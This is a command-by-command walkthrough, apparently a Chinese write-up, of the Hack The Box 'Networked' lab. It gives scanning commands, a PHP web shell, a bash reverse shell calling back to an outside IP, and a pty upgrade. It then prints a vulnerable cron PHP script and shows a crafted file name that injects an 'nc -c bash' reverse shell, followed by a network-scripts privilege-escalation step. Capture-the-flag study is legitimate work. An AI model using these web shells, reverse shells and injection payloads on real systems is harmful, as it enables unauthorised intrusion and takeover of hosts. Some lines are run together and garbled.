HTB_Networked从实战靶场学渗透

nmap -sC -sV 10.10.10.146

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php

<?php system($_GET['PleaseSubscribe']); ?>

wget http://10.10.10.146/backup/backup.tartar -xvf backup.tar

grep -Ri '$_' *  (-Ri参数代表关键字搜索)

bash -i >& /dev/tcp/10.10.14.15/9001 0>&1

https://blog.csdn.net/Auuuuuuuu/article/details/89059176

python -c 'import pty;pty.spawn("/bin/bash")';

stty raw -echo

*/3 * * * * php /home/guly/check_attack.php

<?phprequire '/var/www/html/lib.php';$path = '/var/www/html/uploads/';$logpath = '/tmp/attack.log';$to = 'guly';$msg= '';$headers = "X-Mailer: check_attack.phprn"; $files = array();$files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) {    $msg='';  if ($value == 'index.html') {    continue;  }  #echo "-------------n";   #print "check: $valuen";  list ($name,$ext) = getnameCheck($value);  $check = check_ip($name,$value);   if (!($check[0])) {    echo "attack!n";    # todo: attach file    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);     exec("rm -f $logpath");    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");    echo "rm -f $path$valuen";    mail($to, $msg, $msg, $headers, "-F$value");  

function check_ip($prefix,$filename) {  //echo "prefix: $prefix - fname: $filename<br>n";  $ret = true;  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {    $ret = false;    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";  } else {    $msg = $filename;  }  return array($ret,$msg);}

touch -- ';nc -c bash 10.10.16.83 4444;.php'

sudo -l

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoFDEVICE=guly0ONBOOT=noNM_CONTROLLED=noEoF regexp="^[a-zA-Z0-9_ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do    echo "interface $var:"    read x    while [[ ! $x =~ $regexp ]]; do        echo "wrong input, try again"        echo "interface $var:"        read x    done    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-gulydone